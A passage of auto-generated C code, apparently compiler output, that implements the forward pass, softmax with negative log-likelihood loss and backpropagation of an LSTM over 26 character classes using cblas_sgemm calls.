sizeof(float));;\ndouble x126 = ((double)clock() / CLOCKS_PER_SEC);\ndouble* x127 = (double*)myMalloc(51 * sizeof(double));;\nint64_t x128 = (long)mallocAddr;\nint32_t x129 = 0;\nx129 -= 400;\ndouble x131 = 70.0;\nbool x596 = true || true;\nbool x597 = x596 || true;\nbool x1065 = true || false;\nfor(int x133=0; x133 < 5001; x133++) {\nfloat* x158 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x159 = (float*)myMalloc(10400 * sizeof(float));;\nfloat* x176 = (float*)myMalloc(10400 * sizeof(float));;\nint* x143 = (int32_t*)myMalloc(400 * sizeof(int32_t));;\nfunction<void(int32_t,float**)> x613 = [&](int32_t x614,float** x615) {\nfloat** x617 = x615;\nfloat* x618 = x617[0];\nfloat* x619 = x617[1];\nfloat* x620 = x617[2];\nfloat* x621 = x617[3];\nfloat* x622 = x617[4];\nfloat* x623 = x617[5];\nint32_t x616 = x614;\nbool x624 = x616 < 20;\nif (x624) {\nint32_t x625 = x616 * 520;\nfloat* x626 = x159+x625;\nfloat* x627 = x176+x625;\nfloat* x628 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x626,26,x18,50,0,x628,50);\nfloat* x630 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x631 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x620,50,x29,50,0,x631,50);\nfloat* x633 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x634 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x635=0; x635 < 20; x635++) {\nint32_t x637 = 50 * x635;\nfor(int x636=0; x636 < 50; x636++) {\nint32_t x639 = x637 + x636;\nfloat x640 = x628[x639];\nfloat x641 = x631[x639];\nint32_t x638 = x636 + x637;\nfloat x642 = x640 + x641;\nx634[x638] = x642;\n\n}\n\n}\nfloat* x648 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x649 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x650=0; x650 < 20; x650++) {\nint32_t x652 = 50 * x650;\nfor(int x651=0; x651 < 50; x651++) {\nint32_t x654 = x652 + x651;\nfloat x655 = x634[x654];\nfloat x656 = x39[x651];\nint32_t x653 = x651 + x652;\nfloat x657 = x655 + x656;\nx649[x653] = x657;\n\n}\n\n}\nfloat* x663 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x664 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x665=0; x665 < 1000; x665++) {\nfloat x666 = x649[x665];\nfloat x667 = -1.0f * x666;\ndouble x668 = (double)x667;\ndouble x669 = exp(x668);\nfloat x670 = (float)x669;\nfloat x671 = x670 + 1.0f;\nfloat x672 = 1.0f / x671;\nx664[x665] = x672;\n\n}\nfloat* x676 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x677 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x626,26,x41,50,0,x677,50);\nfloat* x679 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x680 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x620,50,x50,50,0,x680,50);\nfloat* x682 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x683 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x684=0; x684 < 20; x684++) {\nint32_t x686 = 50 * x684;\nfor(int x685=0; x685 < 50; x685++) {\nint32_t x688 = x686 + x685;\nfloat x689 = x677[x688];\nfloat x690 = x680[x688];\nint32_t x687 = x685 + x686;\nfloat x691 = x689 + x690;\nx683[x687] = x691;\n\n}\n\n}\nfloat* x697 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x698 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x699=0; x699 < 20; x699++) {\nint32_t x701 = 50 * x699;\nfor(int x700=0; x700 < 50; x700++) {\nint32_t x703 = x701 + x700;\nfloat x704 = x683[x703];\nfloat x705 = x59[x700];\nint32_t x702 = x700 + x701;\nfloat x706 = x704 + x705;\nx698[x702] = x706;\n\n}\n\n}\nfloat* x712 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x713 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x714=0; x714 < 1000; x714++) {\nfloat x715 = x698[x714];\nfloat x716 = -1.0f * x715;\ndouble x717 = (double)x716;\ndouble x718 = exp(x717);\nfloat x719 = (float)x718;\nfloat x720 = x719 + 1.0f;\nfloat x721 = 1.0f / x720;\nx713[x714] = x721;\n\n}\nfloat* x725 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x726 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x626,26,x81,50,0,x726,50);\nfloat* x728 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x729 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x620,50,x90,50,0,x729,50);\nfloat* x731 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x732 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x733=0; x733 < 20; x733++) {\nint32_t x735 = 50 * x733;\nfor(int x734=0; x734 < 50; x734++) {\nint32_t x737 = x735 + x734;\nfloat x738 = x726[x737];\nfloat x739 = x729[x737];\nint32_t x736 = x734 + x735;\nfloat x740 = x738 + x739;\nx732[x736] = x740;\n\n}\n\n}\nfloat* x746 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x747 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x748=0; x748 < 20; x748++) {\nint32_t x750 = 50 * x748;\nfor(int x749=0; x749 < 50; x749++) {\nint32_t x752 = x750 + x749;\nfloat x753 = x732[x752];\nfloat x754 = x99[x749];\nint32_t x751 = x749 + x750;\nfloat x755 = x753 + x754;\nx747[x751] = x755;\n\n}\n\n}\nfloat* x761 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x762 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x763=0; x763 < 1000; x763++) {\nfloat x764 = x747[x763];\nfloat x765 = -1.0f * x764;\ndouble x766 = (double)x765;\ndouble x767 = exp(x766);\nfloat x768 = (float)x767;\nfloat x769 = x768 + 1.0f;\nfloat x770 = 1.0f / x769;\nx762[x763] = x770;\n\n}\nfloat* x774 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x775 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,26,1,x626,26,x61,50,0,x775,50);\nfloat* x777 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x778 = (float*)myMalloc(1000 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,50,50,1,x620,50,x70,50,0,x778,50);\nfloat* x780 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x781 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x782=0; x782 < 20; x782++) {\nint32_t x784 = 50 * x782;\nfor(int x783=0; x783 < 50; x783++) {\nint32_t x786 = x784 + x783;\nfloat x787 = x775[x786];\nfloat x788 = x778[x786];\nint32_t x785 = x783 + x784;\nfloat x789 = x787 + x788;\nx781[x785] = x789;\n\n}\n\n}\nfloat* x795 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x796 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x797=0; x797 < 20; x797++) {\nint32_t x799 = 50 * x797;\nfor(int x798=0; x798 < 50; x798++) {\nint32_t x801 = x799 + x798;\nfloat x802 = x781[x801];\nfloat x803 = x79[x798];\nint32_t x800 = x798 + x799;\nfloat x804 = x802 + x803;\nx796[x800] = x804;\n\n}\n\n}\nfloat* x810 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x811 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x812=0; x812 < 1000; x812++) {\nfloat x813 = x796[x812];\ndouble x814 = (double)x813;\ndouble x815 = tanh(x814);\nfloat x816 = (float)x815;\nx811[x812] = x816;\n\n}\nfloat* x820 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x821 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x822=0; x822 < 20; x822++) {\nint32_t x824 = 50 * x822;\nfor(int x823=0; x823 < 50; x823++) {\nint32_t x826 = x824 + x823;\nfloat x827 = x664[x826];\nfloat x828 = x622[x826];\nint32_t x825 = x823 + x824;\nfloat x829 = x827 * x828;\nx821[x825] = x829;\n\n}\n\n}\nfloat* x835 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x836 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x837=0; x837 < 20; x837++) {\nint32_t x839 = 50 * x837;\nfor(int x838=0; x838 < 50; x838++) {\nint32_t x841 = x839 + x838;\nfloat x842 = x713[x841];\nfloat x843 = x811[x841];\nint32_t x840 = x838 + x839;\nfloat x844 = x842 * x843;\nx836[x840] = x844;\n\n}\n\n}\nfloat* x850 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x851 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x852=0; x852 < 20; x852++) {\nint32_t x854 = 50 * x852;\nfor(int x853=0; x853 < 50; x853++) {\nint32_t x856 = x854 + x853;\nfloat x857 = x821[x856];\nfloat x858 = x836[x856];\nint32_t x855 = x853 + x854;\nfloat x859 = x857 + x858;\nx851[x855] = x859;\n\n}\n\n}\nfloat* x865 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x866 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x867=0; x867 < 1000; x867++) {\nfloat x868 = x851[x867];\ndouble x869 = (double)x868;\ndouble x870 = tanh(x869);\nfloat x871 = (float)x870;\nx866[x867] = x871;\n\n}\nfloat* x875 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x876 = (float*)myMalloc(1000 * sizeof(float));;\nfor(int x877=0; x877 < 20; x877++) {\nint32_t x879 = 50 * x877;\nfor(int x878=0; x878 < 50; x878++) {\nint32_t x881 = x879 + x878;\nfloat x882 = x762[x881];\nfloat x883 = x866[x881];\nint32_t x880 = x878 + x879;\nfloat x884 = x882 * x883;\nx876[x880] = x884;\n\n}\n\n}\nfloat* x890 = (float*)myMalloc(1000 * sizeof(float));;\nfloat* x891 = (float*)myMalloc(520 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 20,26,50,1,x876,50,x101,26,0,x891,26);\nfloat* x893 = (float*)myMalloc(520 * sizeof(float));;\nfor(int x894=0; x894 < 20; x894++) {\nint32_t x896 = 26 * x894;\nfor(int x895=0; x895 < 26; x895++) {\nint32_t x897 = x896 + x895;\nfloat x898 = x891[x897];\nfloat x899 = x110[x895];\nfloat x900 = x898 + x899;\nx891[x897] = x900;\n\n}\n\n}\nint* x906 = (int32_t*)myMalloc(20 * sizeof(int32_t));;\nfor(int x907=0; x907 < 20; x907++) {\nint32_t x908 = x907 * 20;\nint32_t x909 = x616 + x908;\nint32_t x910 = x143[x909];\nx906[x907] = x910;\n\n}\nfloat* x914 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x915 = 0;\nfor(int x916=0; x916 < 20; x916++) {\nfloat x917 = -3.4028235E38f;\nfor(int x918=0; x918 < 26; x918++) {\nint32_t x919 = x915;\nfloat x920 = x891[x919];\nfloat x921 = x917;\nbool x922 = x920 > x921;\nif (x922) {\nfloat x923 = x891[x919];\nx917 = x923;\n} else {\n}\nx915 += 1;\n\n}\nfloat x930 = x917;\nx914[x916] = x930;\n\n}\nfloat* x934 = (float*)myMalloc(520 * sizeof(float));;\nint32_t x935 = 0;\nfor(int x936=0; x936 < 20; x936++) {\nfor(int x937=0; x937 < 26; x937++) {\nint32_t x938 = x935;\nfloat x939 = x891[x938];\nfloat x940 = x914[x936];\nfloat x941 = x939 - x940;\ndouble x942 = (double)x941;\ndouble x943 = exp(x942);\nfloat x944 = (float)x943;\nx934[x938] = x944;\nx935 += 1;\n\n}\n\n}\nfloat* x951 = (float*)myMalloc(20 * sizeof(float));;\nfor(int x952=0; x952 < 20; x952++) {\nint32_t x953 = x952;\nint32_t x954 = x952 * 26;\nint32_t x955 = x954;\nfor(int x956=0; x956 < 26; x956++) {\nfor(int x957=0; x957 < 1; x957++) {\nint32_t x958 = x953;\nint32_t x959 = x958 + x957;\nfloat x960 = x951[x959];\nint32_t x961 = x955;\nint32_t x962 = x961 + x957;\nfloat x963 = x934[x962];\nfloat x964 = x960 + x963;\nx951[x959] = x964;\n\n}\nx955 += 1;\n\n}\n\n}\nx935 = 0;\nfor(int x974=0; x974 < 20; x974++) {\nfloat x975 = x914[x974];\nfloat x976 = x951[x974];\ndouble x977 = (double)x976;\ndouble x978 = log(x977);\nfloat x979 = (float)x978;\nfloat x980 = x975 + x979;\nfor(int x981=0; x981 < 26; x981++) {\nint32_t x982 = x935;\nfloat x983 = x891[x982];\nfloat x984 = x983 - x980;\nx934[x982] = x984;\nx935 += 1;\n\n}\n\n}\nfloat* x991 = (float*)myMalloc(520 * sizeof(float));;\n// nllLoss forward in CPU\nfloat* x993 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x994 = 0;\nfor(int x995=0; x995 < 20; x995++) {\nint32_t x996 = x994;\nint32_t x997 = x906[x995];\nint32_t x998 = x996 + x997;\nfloat x999 = x934[x998];\nfloat x1000 = -1.0f * x999;\nx993[x995] = x1000;\nx994 += 26;\n\n}\nfloat* x1005 = (float*)myMalloc(20 * sizeof(float));;\nfloat x1006 = 0.0f;\nfor(int x1007=0; x1007 < 20; x1007++) {\nfloat x1008 = x1006;\nfloat x1009 = x993[x1007];\nfloat x1010 = x1008 + x1009;\nx1006 = x1010;\n\n}\nfloat x1014 = x1006;\nfloat* x1015 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x1016=0; x1016 < 1; x1016++) {\nx1015[x1016] = x1014;\n\n}\nfloat* x1020 = (float*)myMalloc(1 * sizeof(float));;\nif (x597) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfloat* x1025 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x1026=0; x1026 < 1; x1026++) {\nfloat x1027 = x618[0];\nfloat x1028 = x1015[0];\nfloat x1029 = x1027 + x1028;\nx1025[x1026] = x1029;\n\n}\nfloat* x1033 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x1035 = (float**)myMalloc(6 * sizeof(float*));;\nx1035[0] = x1025;\nx1035[1] = x1033;\nx1035[2] = x876;\nx1035[3] = x890;\nx1035[4] = x851;\nx1035[5] = x865;\nint32_t x1080 = 0;\nfloat* x1093 = (float*)myMalloc(20 * sizeof(float));;\nint32_t x1115 = 0;\nint32_t x1034 = x616 + 1;\nx613(x1034,x1035);\n// back prop for + op\nif (x597) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",1,1);\nassert(false && \"\");\n}\nfor(int x1049=0; x1049 < 1; x1049++) {\nfloat x1050 = x619[0];\nfloat x1051 = x618[0];\nfloat x1052 = x1015[0];\nfloat x1053 = x1033[x1049];\nfloat x1054 = x1050 + x1053;\nx619[0] = x1054;\nfloat x1056 = x1020[0];\nfloat x1057 = x618[0];\nfloat x1058 = x1015[0];\nfloat x1059 = x1033[x1049];\nfloat x1060 = x1056 + x1059;\nx1020[0] = x1060;\n\n}\n// 'sum' gradient.\nif (x1065) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",20,1);\nassert(false && \"\");\n}\nfor(int x1071=0; x1071 < 20; x1071++) {\nfloat x1072 = x1005[x1071];\nfloat x1073 = x1020[0];\nfloat x1074 = x1072 + x1073;\nx1005[x1071] = x1074;\n\n}\n// 'nllLossB' gradient.\n// nllLoss_grad implementation in CPU\nfor(int x1081=0; x1081 < 20; x1081++) {\nint32_t x1082 = x1080;\nint32_t x1083 = x906[x1081];\nint32_t x1084 = x1082 + x1083;\nfloat x1085 = x991[x1084];\nfloat x1086 = x1005[x1081];\nfloat x1087 = -1.0f * x1086;\nfloat x1088 = x1085 + x1087;\nx991[x1084] = x1088;\nx1080 += 26;\n\n}\nfor(int x1094=0; x1094 < 20; x1094++) {\nint32_t x1095 = x1094;\nint32_t x1096 = x1094 * 26;\nint32_t x1097 = x1096;\nfor(int x1098=0; x1098 < 26; x1098++) {\nfor(int x1099=0; x1099 < 1; x1099++) {\nint32_t x1100 = x1095;\nint32_t x1101 = x1100 + x1099;\nfloat x1102 = x1093[x1101];\nint32_t x1103 = x1097;\nint32_t x1104 = x1103 + x1099;\nfloat x1105 = x991[x1104];\nfloat x1106 = x1102 + x1105;\nx1093[x1101] = x1106;\n\n}\nx1097 += 1;\n\n}\n\n}\nfor(int x1116=0; x1116 < 20; x1116++) {\nfor(int x1117=0; x1117 < 26; x1117++) {\nint32_t x1118 = x1115;\nfloat x1119 = x893[x1118];\nfloat x1120 = x991[x1118];\nfloat x1121 = x934[x1118];\nfloat x1125 = x1093[x1116];\ndouble x1122 = (double)x1121;\ndouble x1123 = exp(x1122);\nfloat x1124 = (float)x1123;\nfloat x1126 = x1124 * x1125;\nfloat x1127 = x1120 - x1126;\nfloat x1128 = x1119 + x1127;\nx893[x1118] = x1128;\nx1115 += 1;\n\n}\n\n}\nfor(int x1135=0; x1135 < 20; x1135++) {\nint32_t x1137 = 26 * x1135;\nfor(int x1136=0; x1136 < 26; x1136++) {\nfloat x1139 = x111[x1136];\nint32_t x1138 = x1137 + x1136;\nfloat x1140 = x893[x1138];\nfloat x1141 = x1139 + x1140;\nx111[x1136] = x1141;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,26,1,x893,26,x101,26,1,x890,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,26,20,1,x876,50,x893,26,1,x109,26);\n// backprop for * op\nfor(int x1151=0; x1151 < 20; x1151++) {\nint32_t x1153 = 50 * x1151;\nfor(int x1152=0; x1152 < 50; x1152++) {\nint32_t x1154 = x1153 + x1152;\nfloat x1155 = x774[x1154];\nfloat x1156 = x762[x1154];\nfloat x1157 = x866[x1154];\nfloat x1158 = x890[x1154];\nfloat x1159 = x1158 * x1157;\nfloat x1160 = x1155 + x1159;\nx774[x1154] = x1160;\nfloat x1162 = x875[x1154];\nfloat x1163 = x762[x1154];\nfloat x1164 = x866[x1154];\nfloat x1165 = x890[x1154];\nfloat x1166 = x1165 * x1163;\nfloat x1167 = x1162 + x1166;\nx875[x1154] = x1167;\n\n}\n\n}\nfor(int x1173=0; x1173 < 1000; x1173++) {\nfloat x1174 = x865[x1173];\nfloat x1175 = x866[x1173];\nfloat x1178 = x875[x1173];\nfloat x1176 = x1175 * x1175;\nfloat x1177 = 1.0f - x1176;\nfloat x1179 = x1177 * x1178;\nfloat x1180 = x1174 + x1179;\nx865[x1173] = x1180;\n\n}\n// back prop for + op\nfor(int x1185=0; x1185 < 20; x1185++) {\nint32_t x1187 = 50 * x1185;\nfor(int x1186=0; x1186 < 50; x1186++) {\nint32_t x1188 = x1187 + x1186;\nfloat x1189 = x835[x1188];\nfloat x1190 = x821[x1188];\nfloat x1191 = x836[x1188];\nfloat x1192 = x865[x1188];\nfloat x1193 = x1189 + x1192;\nx835[x1188] = x1193;\nfloat x1195 = x850[x1188];\nfloat x1196 = x821[x1188];\nfloat x1197 = x836[x1188];\nfloat x1198 = x865[x1188];\nfloat x1199 = x1195 + x1198;\nx850[x1188] = x1199;\n\n}\n\n}\n// backprop for * op\nfor(int x1206=0; x1206 < 20; x1206++) {\nint32_t x1208 = 50 * x1206;\nfor(int x1207=0; x1207 < 50; x1207++) {\nint32_t x1209 = x1208 + x1207;\nfloat x1210 = x725[x1209];\nfloat x1211 = x713[x1209];\nfloat x1212 = x811[x1209];\nfloat x1213 = x850[x1209];\nfloat x1214 = x1213 * x1212;\nfloat x1215 = x1210 + x1214;\nx725[x1209] = x1215;\nfloat x1217 = x820[x1209];\nfloat x1218 = x713[x1209];\nfloat x1219 = x811[x1209];\nfloat x1220 = x850[x1209];\nfloat x1221 = x1220 * x1218;\nfloat x1222 = x1217 + x1221;\nx820[x1209] = x1222;\n\n}\n\n}\n// backprop for * op\nfor(int x1229=0; x1229 < 20; x1229++) {\nint32_t x1231 = 50 * x1229;\nfor(int x1230=0; x1230 < 50; x1230++) {\nint32_t x1232 = x1231 + x1230;\nfloat x1233 = x676[x1232];\nfloat x1234 = x664[x1232];\nfloat x1235 = x622[x1232];\nfloat x1236 = x835[x1232];\nfloat x1237 = x1236 * x1235;\nfloat x1238 = x1233 + x1237;\nx676[x1232] = x1238;\nfloat x1240 = x623[x1232];\nfloat x1241 = x664[x1232];\nfloat x1242 = x622[x1232];\nfloat x1243 = x835[x1232];\nfloat x1244 = x1243 * x1241;\nfloat x1245 = x1240 + x1244;\nx623[x1232] = x1245;\n\n}\n\n}\nfor(int x1251=0; x1251 < 1000; x1251++) {\nfloat x1252 = x810[x1251];\nfloat x1253 = x811[x1251];\nfloat x1256 = x820[x1251];\nfloat x1254 = x1253 * x1253;\nfloat x1255 = 1.0f - x1254;\nfloat x1257 = x1255 * x1256;\nfloat x1258 = x1252 + x1257;\nx810[x1251] = x1258;\n\n}\n// back prop for + op\nfor(int x1263=0; x1263 < 20; x1263++) {\nint32_t x1265 = 50 * x1263;\nfor(int x1264=0; x1264 < 50; x1264++) {\nint32_t x1266 = x1265 + x1264;\nfloat x1267 = x795[x1266];\nfloat x1268 = x781[x1266];\nfloat x1269 = x79[x1264];\nfloat x1270 = x810[x1266];\nfloat x1271 = x1267 + x1270;\nx795[x1266] = x1271;\nfloat x1273 = x80[x1264];\nfloat x1274 = x781[x1266];\nfloat x1275 = x79[x1264];\nfloat x1276 = x810[x1266];\nfloat x1277 = x1273 + x1276;\nx80[x1264] = x1277;\n\n}\n\n}\n// back prop for + op\nfor(int x1284=0; x1284 < 20; x1284++) {\nint32_t x1286 = 50 * x1284;\nfor(int x1285=0; x1285 < 50; x1285++) {\nint32_t x1287 = x1286 + x1285;\nfloat x1288 = x777[x1287];\nfloat x1289 = x775[x1287];\nfloat x1290 = x778[x1287];\nfloat x1291 = x795[x1287];\nfloat x1292 = x1288 + x1291;\nx777[x1287] = x1292;\nfloat x1294 = x780[x1287];\nfloat x1295 = x775[x1287];\nfloat x1296 = x778[x1287];\nfloat x1297 = x795[x1287];\nfloat x1298 = x1294 + x1297;\nx780[x1287] = x1298;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x780,50,x70,50,1,x621,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x620,50,x780,50,1,x78,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x777,50,x61,50,1,x627,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 26,50,20,1,x626,26,x777,50,1,x69,50);\nfor(int x1310=0; x1310 < 1000; x1310++) {\nfloat x1311 = x761[x1310];\nfloat x1312 = x762[x1310];\nfloat x1315 = x774[x1310];\nfloat x1313 = 1.0f - x1312;\nfloat x1314 = x1313 * x1312;\nfloat x1316 = x1314 * x1315;\nfloat x1317 = x1311 + x1316;\nx761[x1310] = x1317;\n\n}\n// back prop for + op\nfor(int x1322=0; x1322 < 20; x1322++) {\nint32_t x1324 = 50 * x1322;\nfor(int x1323=0; x1323 < 50; x1323++) {\nint32_t x1325 = x1324 + x1323;\nfloat x1326 = x746[x1325];\nfloat x1327 = x732[x1325];\nfloat x1328 = x99[x1323];\nfloat x1329 = x761[x1325];\nfloat x1330 = x1326 + x1329;\nx746[x1325] = x1330;\nfloat x1332 = x100[x1323];\nfloat x1333 = x732[x1325];\nfloat x1334 = x99[x1323];\nfloat x1335 = x761[x1325];\nfloat x1336 = x1332 + x1335;\nx100[x1323] = x1336;\n\n}\n\n}\n// back prop for + op\nfor(int x1343=0; x1343 < 20; x1343++) {\nint32_t x1345 = 50 * x1343;\nfor(int x1344=0; x1344 < 50; x1344++) {\nint32_t x1346 = x1345 + x1344;\nfloat x1347 = x728[x1346];\nfloat x1348 = x726[x1346];\nfloat x1349 = x729[x1346];\nfloat x1350 = x746[x1346];\nfloat x1351 = x1347 + x1350;\nx728[x1346] = x1351;\nfloat x1353 = x731[x1346];\nfloat x1354 = x726[x1346];\nfloat x1355 = x729[x1346];\nfloat x1356 = x746[x1346];\nfloat x1357 = x1353 + x1356;\nx731[x1346] = x1357;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x731,50,x90,50,1,x621,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x620,50,x731,50,1,x98,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x728,50,x81,50,1,x627,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 26,50,20,1,x626,26,x728,50,1,x89,50);\nfor(int x1369=0; x1369 < 1000; x1369++) {\nfloat x1370 = x712[x1369];\nfloat x1371 = x713[x1369];\nfloat x1374 = x725[x1369];\nfloat x1372 = 1.0f - x1371;\nfloat x1373 = x1372 * x1371;\nfloat x1375 = x1373 * x1374;\nfloat x1376 = x1370 + x1375;\nx712[x1369] = x1376;\n\n}\n// back prop for + op\nfor(int x1381=0; x1381 < 20; x1381++) {\nint32_t x1383 = 50 * x1381;\nfor(int x1382=0; x1382 < 50; x1382++) {\nint32_t x1384 = x1383 + x1382;\nfloat x1385 = x697[x1384];\nfloat x1386 = x683[x1384];\nfloat x1387 = x59[x1382];\nfloat x1388 = x712[x1384];\nfloat x1389 = x1385 + x1388;\nx697[x1384] = x1389;\nfloat x1391 = x60[x1382];\nfloat x1392 = x683[x1384];\nfloat x1393 = x59[x1382];\nfloat x1394 = x712[x1384];\nfloat x1395 = x1391 + x1394;\nx60[x1382] = x1395;\n\n}\n\n}\n// back prop for + op\nfor(int x1402=0; x1402 < 20; x1402++) {\nint32_t x1404 = 50 * x1402;\nfor(int x1403=0; x1403 < 50; x1403++) {\nint32_t x1405 = x1404 + x1403;\nfloat x1406 = x679[x1405];\nfloat x1407 = x677[x1405];\nfloat x1408 = x680[x1405];\nfloat x1409 = x697[x1405];\nfloat x1410 = x1406 + x1409;\nx679[x1405] = x1410;\nfloat x1412 = x682[x1405];\nfloat x1413 = x677[x1405];\nfloat x1414 = x680[x1405];\nfloat x1415 = x697[x1405];\nfloat x1416 = x1412 + x1415;\nx682[x1405] = x1416;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x682,50,x50,50,1,x621,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x620,50,x682,50,1,x58,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x679,50,x41,50,1,x627,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 26,50,20,1,x626,26,x679,50,1,x49,50);\nfor(int x1428=0; x1428 < 1000; x1428++) {\nfloat x1429 = x663[x1428];\nfloat x1430 = x664[x1428];\nfloat x1433 = x676[x1428];\nfloat x1431 = 1.0f - x1430;\nfloat x1432 = x1431 * x1430;\nfloat x1434 = x1432 * x1433;\nfloat x1435 = x1429 + x1434;\nx663[x1428] = x1435;\n\n}\n// back prop for + op\nfor(int x1440=0; x1440 < 20; x1440++) {\nint32_t x1442 = 50 * x1440;\nfor(int x1441=0; x1441 < 50; x1441++) {\nint32_t x1443 = x1442 + x1441;\nfloat x1444 = x648[x1443];\nfloat x1445 = x634[x1443];\nfloat x1446 = x39[x1441];\nfloat x1447 = x663[x1443];\nfloat x1448 = x1444 + x1447;\nx648[x1443] = x1448;\nfloat x1450 = x40[x1441];\nfloat x1451 = x634[x1443];\nfloat x1452 = x39[x1441];\nfloat x1453 = x663[x1443];\nfloat x1454 = x1450 + x1453;\nx40[x1441] = x1454;\n\n}\n\n}\n// back prop for + op\nfor(int x1461=0; x1461 < 20; x1461++) {\nint32_t x1463 = 50 * x1461;\nfor(int x1462=0; x1462 < 50; x1462++) {\nint32_t x1464 = x1463 + x1462;\nfloat x1465 = x630[x1464];\nfloat x1466 = x628[x1464];\nfloat x1467 = x631[x1464];\nfloat x1468 = x648[x1464];\nfloat x1469 = x1465 + x1468;\nx630[x1464] = x1469;\nfloat x1471 = x633[x1464];\nfloat x1472 = x628[x1464];\nfloat x1473 = x631[x1464];\nfloat x1474 = x648[x1464];\nfloat x1475 = x1471 + x1474;\nx633[x1464] = x1475;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,50,50,1,x633,50,x29,50,1,x621,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,50,20,1,x620,50,x633,50,1,x38,50);\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,26,50,1,x630,50,x18,50,1,x627,26);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 